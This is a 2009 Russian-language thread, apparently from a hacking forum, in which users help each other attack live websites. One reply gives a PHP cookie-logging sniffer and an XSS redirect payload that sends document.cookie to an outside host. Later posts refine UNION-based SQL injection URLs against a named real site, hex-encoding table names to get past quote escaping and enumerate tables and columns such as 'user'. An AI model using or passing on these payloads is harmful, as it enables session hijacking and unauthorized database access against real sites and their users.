15.06.2009, 14:56
|
|
Banned
Регистрация: 10.06.2009
Сообщений: 8
TEST DEPOSIT
С нами:
8905480
Репутация:
6
|
|
Сообщение от mailbrush
Сниффер получает даные, переданые GET'oм, т.е. QUERY_STRING. Если сниффер с картинкой - он загружается с даными, т.е. куками. Если ты хочешь без картинки - надо будет редиректить.
PS: Юзайте мой сервис http://forum.antichat.ru/thread125329.html
Помоги плиз изминитиь тот скрипт чтобы он через
QUERY_STRING записывал в файл. и составить url на багу. помогите плиз
|
|
|
15.06.2009, 15:39
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
TEST DEPOSIT
С нами:
9410786
Репутация:
2731
|
|
Сообщение от main()
Помоги плиз изминитиь тот скрипт чтобы он через
QUERY_STRING записывал в файл. и составить url на багу. помогите плиз
PHP код:
fwrite(fopen('query.txt','a+'),$_REQUEST."\r\n")
Запись квери_стринг. Редирект примерно такой
Код:
<script>location="http://site.ru/snifffer.php?"+document.cookie</script>
|
|
|
|
15.06.2009, 15:52
|
|
Banned
Регистрация: 10.06.2009
Сообщений: 8
TEST DEPOSIT
С нами:
8905480
Репутация:
6
|
|
Сообщение от mailbrush
PHP код:
fwrite(fopen('query.txt','a+'),$_REQUEST."\r\n")
Запись квери_стринг. Редирект примерно такой
Код:
<script>location="http://site.ru/snifffer.php?"+document.cookie</script>
Спасибо огромное. поставте ктонить ему +
Я новичок могу только 0
|
|
|
|
15.06.2009, 15:26
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
TEST DEPOSIT
С нами:
9555536
Репутация:
95
|
|
не понимаю в чем ошибка моего запроса, вроде версия 5.0.51a-24-log
http://www.rocit.ru/news/ITshownews.php3?id=-1+union+select+1,2,3,4,table_name,6,7,8,9,10+from+ information_schema.tables+where+table_schema=%27ro cit%27--
но ничего хорошего я не вижу.....
|
|
|
|
15.06.2009, 15:29
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
TEST DEPOSIT
С нами:
9510146
Репутация:
1550
|
|
Сообщение от jecka3000
не понимаю в чем ошибка моего запроса, вроде версия 5.0.51a-24-log
http://www.rocit.ru/news/ITshownews.php3?id=-1+union+select+1,2,3,4,table_name,6,7,8,9,10+from+ information_schema.tables+where+table_schema=%27ro cit%27--
но ничего хорошего я не вижу.....
http://www.rocit.ru/news/ITshownews.php3?id=-1+union+select+1,2,3,4,table_name,6,7,8,9,10+from+ information_schema.tables
|
|
|
|
15.06.2009, 15:33
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
TEST DEPOSIT
С нами:
9410786
Репутация:
2731
|
|
Код:
http://www.rocit.ru/news/ITshownews.php3?id=-1+union+select+1,2,3,4,table_name,6,7,8,9,10+from+information_schema.tables+where+table_schema=0x726f636974--
мэджики включены |
|
|
|
15.06.2009, 15:34
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
TEST DEPOSIT
С нами:
9593606
Репутация:
4915
|
|
jecka3000 почитай статьи, любые
http://www.rocit.ru/news/ITshownews.php3?id=-1+union+select+1,2,3,4,table_name,6,7,8,9,10+from+ information_schema.tables+where+table_schema=0x726 F636974--
wildshaman я же писал про набивание постов , а ты сказал, что ничего такого не будет.
|
|
|
|
15.06.2009, 15:36
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
TEST DEPOSIT
С нами:
9510146
Репутация:
1550
|
|
Сообщение от jokester
[B
wildshaman[/B] я же писал про набивание постов , а ты сказал, что ничего такого не будет.
Лично я не набиваю, (я не стремлюсь ни в РОА, ни в МОА, ни выше) а просто помогаю человеку.
Теперь любая помощь в тематических разделах считается набиванием постов?
|
|
|
|
15.06.2009, 15:50
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
TEST DEPOSIT
С нами:
9593606
Репутация:
4915
|
|
jecka3000
Я- же написал, почитай любую статью. mailbrush тебе написал, включены маджики, тоеть кавычки экранируются.
Переводи в хекс
http://www.rocit.ru/news/ITshownews.php3?id=-1+union+select+1,2,3,4,column_name,6,7,8,9,10+from +information_schema.columns+where+table_name=0x757 36572
Сообщение от wildshaman
Теперь любая помощь в тематических разделах считается набиванием постов?
Дружище, не нужно переиначивать. Сообщения не по теме - это набивание постов, а попросту оффтоп.
Применительно к данному случаю:
Человек делает выборку из конкретной базы, а ты ему даёшь запрос выборки из всех баз. Он и без тебя , думаю , с этим справлялся. Отсюда вывод: совет не в тему , стало-быть оффтоп.
|
|
|
|
15.06.2009, 15:48
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
TEST DEPOSIT
С нами:
9555536
Репутация:
95
|
|
jokester, я достиг такого же результаты с помощью LIMIT 28,1 -- Именн тут база мне ответила user
зато на такой запрос http://www.rocit.ru/news/ITshownews.php3?id=-1+union+select+1,2,3,4,column_name,6,7,8,9,10+from +information_schema.columns+where+table_name=%27us er%27 жу ничего не выводит...
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
